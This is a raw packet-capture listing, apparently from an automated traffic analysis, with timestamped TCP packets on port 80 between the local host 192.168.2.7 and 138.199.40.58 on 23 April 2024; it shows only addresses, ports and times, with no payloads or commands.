Apr 23, 2024 08:39:58.862870932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862870932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862890959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862915993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862941980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862955093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.862974882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.862994909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863027096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863040924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863051891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863065004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863073111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863074064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863115072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863132000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863210917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863229990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863253117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863274097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863295078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863306999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863313913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863317966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863338947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863338947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863369942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863387108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863408089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863420010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863426924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863440990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863452911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863452911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863462925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863482952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863503933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863523960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863526106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863538980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863545895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863574982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863576889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863609076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863621950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863694906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863708019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863714933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863719940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863739967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863818884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863831997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863838911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863848925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863867044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863878965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863884926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863890886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863898039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863903046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863914967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863920927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863946915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.863953114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.863990068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864002943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864010096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864025116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864046097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864068985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864137888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864140034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864217043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864231110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864249945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864283085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864301920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864341974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864362955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864413977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864425898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864434004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864438057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864449024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864456892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864456892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864459991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864475965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864481926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864526033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864530087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864530087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864538908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864561081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864579916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864622116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864643097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864729881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864742041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864749908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864753962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864764929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864772081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864784956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864809036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864839077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864850998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864861965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864873886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864881992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864892960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.864981890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.864995956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865001917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865006924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865017891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865058899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865072012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865084887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865129948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865129948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865207911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865242004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865263939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865278006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865307093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865345955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865384102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865412951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865413904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865427017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865433931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865437984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865459919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865459919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865480900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865492105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865492105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865513086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865525007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865525007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865535021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865546942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865555048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865560055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865598917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865617990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865637064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865657091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865741014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865761042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865782022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865803003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865818024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865837097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865885973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865899086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.865906000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865933895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865933895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.865938902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866003036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866014957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866022110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866055012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866075039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866096020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866102934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866130114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866178989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866192102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866202116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866204023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866214037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866220951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866225958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866238117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866246939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866260052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866260052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866302967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866312981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866312981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866314888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866326094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866344929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866400003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866401911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866411924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866424084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866434097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866435051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866446972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866456032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866458893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866466045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866471052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866489887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866525888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866533041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866545916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866568089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866588116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866588116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866609097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866630077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866651058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866682053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866691113 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866698027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866718054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866720915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866733074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866743088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866764069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866765022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866765976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866833925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866892099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866910934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866954088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866966009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866974115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.866976976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866988897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.866993904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867000103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867010117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867010117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867011070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867022991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867031097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867074966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867094040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867109060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867129087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867132902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867155075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867175102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867194891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867240906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867248058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867263079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867307901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867321014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867330074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867331982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867343903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867352962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867355108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867362976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867394924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867398024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867440939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867453098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867471933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867484093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867503881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867516994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867527962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867537975 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867537975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867556095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867572069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867593050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867594957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867614031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867615938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867635965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867656946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867675066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867726088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867746115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867748976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867762089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867769003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867779016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867794037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867806911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867815018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867877960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867891073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867898941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867911100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867919922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867939949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867952108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.867984056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.867996931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868016005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868109941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868123055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868129015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868134975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868153095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868156910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868170023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868175030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868186951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868222952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868242025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868257999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868275881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868294001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868305922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868311882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868318081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868334055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868339062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868350983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868407965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868413925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868479013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868499994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868518114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868530035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868539095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868635893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868649006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868654966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868669987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868673086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868690968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868732929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868740082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868788004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868801117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868813038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868825912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868845940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.868849993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868849993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.868869066 CEST	80	49704	138.199.40.58	192.168.2.7
